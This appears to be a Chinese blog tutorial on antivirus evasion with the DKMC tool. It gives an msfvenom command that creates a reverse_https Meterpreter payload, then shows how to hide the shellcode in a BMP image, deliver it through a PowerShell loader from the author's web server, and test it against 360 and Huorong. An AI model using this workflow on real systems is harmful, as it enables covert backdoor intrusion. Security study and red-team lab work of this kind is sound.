0x01 免杀能力一览表


几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

0x02 DKMC介绍

DKMC是Don’t Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的…DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。

0x03 安装DKMC

安装比较简单


$ git clone https://github.com/Mr-Un1k0d3r/DKMC
$ cd DKMC
$ mkdir output

执行python dkmc.py即可

0x04 DKMC使用说明

执行python dkmc.py后可以看到5个选项,

[*] (gen)    Generate a malicious BMP image
[*] (web)   Start a web server and deliver malicious image
[*] (ps)    Generate Powershell payload
[*] (sc)    Generate shellcode from raw file
[*] (exit)  Quit the application

翻译一下


[*] (gen)   将msf的shellcode注入到一个BMP图像
[*] (web)   启动web服务用来分发BMP图像
[*] (ps)    生成ps的payload
[*] (sc)    将msf生成的raw文件转为shellcode
[*] (exit)  退出

这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。

生成一个后门的流程大体为:

1、先利用msf生成raw文件

2、利用sc讲raw文件转换为shellcode

3、利用gen将上一步的shellcode注入到一个BMP图像

4、利用ps生成基于powershell的BMP文件的payload

5、利用web提供的简单web服务进行分发BMP文件

4和5看起来有点乱,下面我演示一下就很容易明白了。

0x05 利用DKMC生成后门

1、先利用Msf生成raw格式的shellcode,稍微编码了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw


2、在主菜单中选择sc,然后设置source为/root/test15.raw,再执行run生成shellcode。

复制一下生成的shellcode,输入exit退回到主菜单。

3、在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode。

其他默认即可,执行run生成图像。

看到生成了output-1577907077.bmp图像文件,输入exit退回到主菜单。

4、在主菜单中选择ps,设置url地址,这个url地址就是web分发图像文件的地址。

我的parrot虚拟机的地址为10.211.55.24,我打算用默认的80端口,这样我的url地址为http://10.211.55.24/output-1577907077.bmp

使用命令set url http://10.211.55.24/output-1577907077.bmp,然后执行run生成powershell执行脚本。

复制一下生成的ps代码,输入exit退回到主菜单。

5、最后一步,在主菜单中选择web,使用默认80端口,执行run即可。

访问虚拟机的80端口

图像可以正常打开

6、在我的测试机器上执行第4步生成的ps代码,不开杀软的时候可正常上线

我将ps执行代码中的-w hidden先去掉,这样可以看得直观一些


7、打开杀软进行测试

静态查杀都通过

在执行powershell代码时,火绒和360卫士会拦截报警,360杀毒没有反应

0x05 小结

DKMC主要把shellcode注入到bmp图像中,然后使用powershell来执行其中的shellcode,但是很多杀软都会监测powershell的执行动作,所以virustotal.com的静态检测不足以说明什么。其实还可以进一步对ps执行代码进行混淆免杀,这一点后续文章还会涉及这里就不展开说

参考

官方说明文档:https://github.com/Mr-Un1k0d3r/DKMC

远控免杀专题(15)-DKMC免杀相关推荐

  1. 远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  2. 远控免杀专题(17)-Python-Rootkit免杀(VT免杀率7/69)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  3. 远控免杀专题(9)-Avet免杀(VT免杀率14/71)

    本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2.远控免杀专题(2)-msfvenom隐藏的参数: ...

  4. 远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率23/70)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  5. 远控免杀专题(13)-zirikatu免杀(VT免杀率39/71)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  6. 远控免杀专题(22)-SpookFlare免杀

    转载:https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA 免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了By ...

  7. 远控免杀专题(19)-nps_payload免杀

    免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/meterper ...

  8. 远控免杀专题(20)-GreatSCT免杀

    转载:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ 免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了By ...

  9. 远控免杀专题7 ---shellter免杀

    0x01 免杀能力一览表 几点说明: 1.上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/met ...

最新文章

  1. 万维网与HTTP协议
  2. IDEA 配置maven
  3. mysql 迭代更新_MySQL、MongoDB、Redis 数据库之间的区别与使用(本章迭代更新)
  4. GIS热词:AR、VR、MR辨析
  5. Hystrix降级逻辑中如何获取触发的异常 1
  6. 985高校校长:未来5年教职工要压缩千人,淘汰20-30%
  7. bash type php,Linux Bash Shell 寻找PHP(网站)挂马,后门
  8. 用 GDB 调试Linux下的C程序
  9. Jenkins下载安装
  10. 计算机木材染色 配色技术的应用技术,木材怎么染色?木材染色剂电脑配色方法...
  11. 操作系统与内核的关系
  12. Codeforces 686D. Kay and Snowflake
  13. 【23】processing-向量(中文)
  14. php开发天气可视化,R语言天气可视化应用 | 粉丝日志
  15. JavaScript 04 流程控制(循环)
  16. 如何新建一个oracle数据库,ORACLE怎么新建数据库
  17. 单片机c语言程序编写步骤,用c语言编写单片机流水灯程序详解
  18. 一文教你秒懂晶体三极管与场效应晶体管选型的诀窍
  19. 亚马逊云科技 Build On 参与心得
  20. 关于微信分享接口,手机分享时候描述变链接的解决方法以及图片logo不显示问题解决方法

热门文章

  1. 【Set jsonObj = toJson( jsonString )】创建JSON实例
  2. C# 加载C++的dll
  3. hdu5111 树链剖分,主席树
  4. [EffectiveC++]item34:区分接口继承和实现继承
  5. 解决阿里云OSS跨域问题
  6. for+next()实现数组的遍历及while list each 的使用
  7. Windows下运行jekyll,编码已不再是问题
  8. php接口开发 安全_PHP开发api接口安全验证的实例讲解
  9. linux 给文件添加用户名和密码是什么格式,linux成批添加用户的命令
  10. python configparser 注释_使用configpar添加注释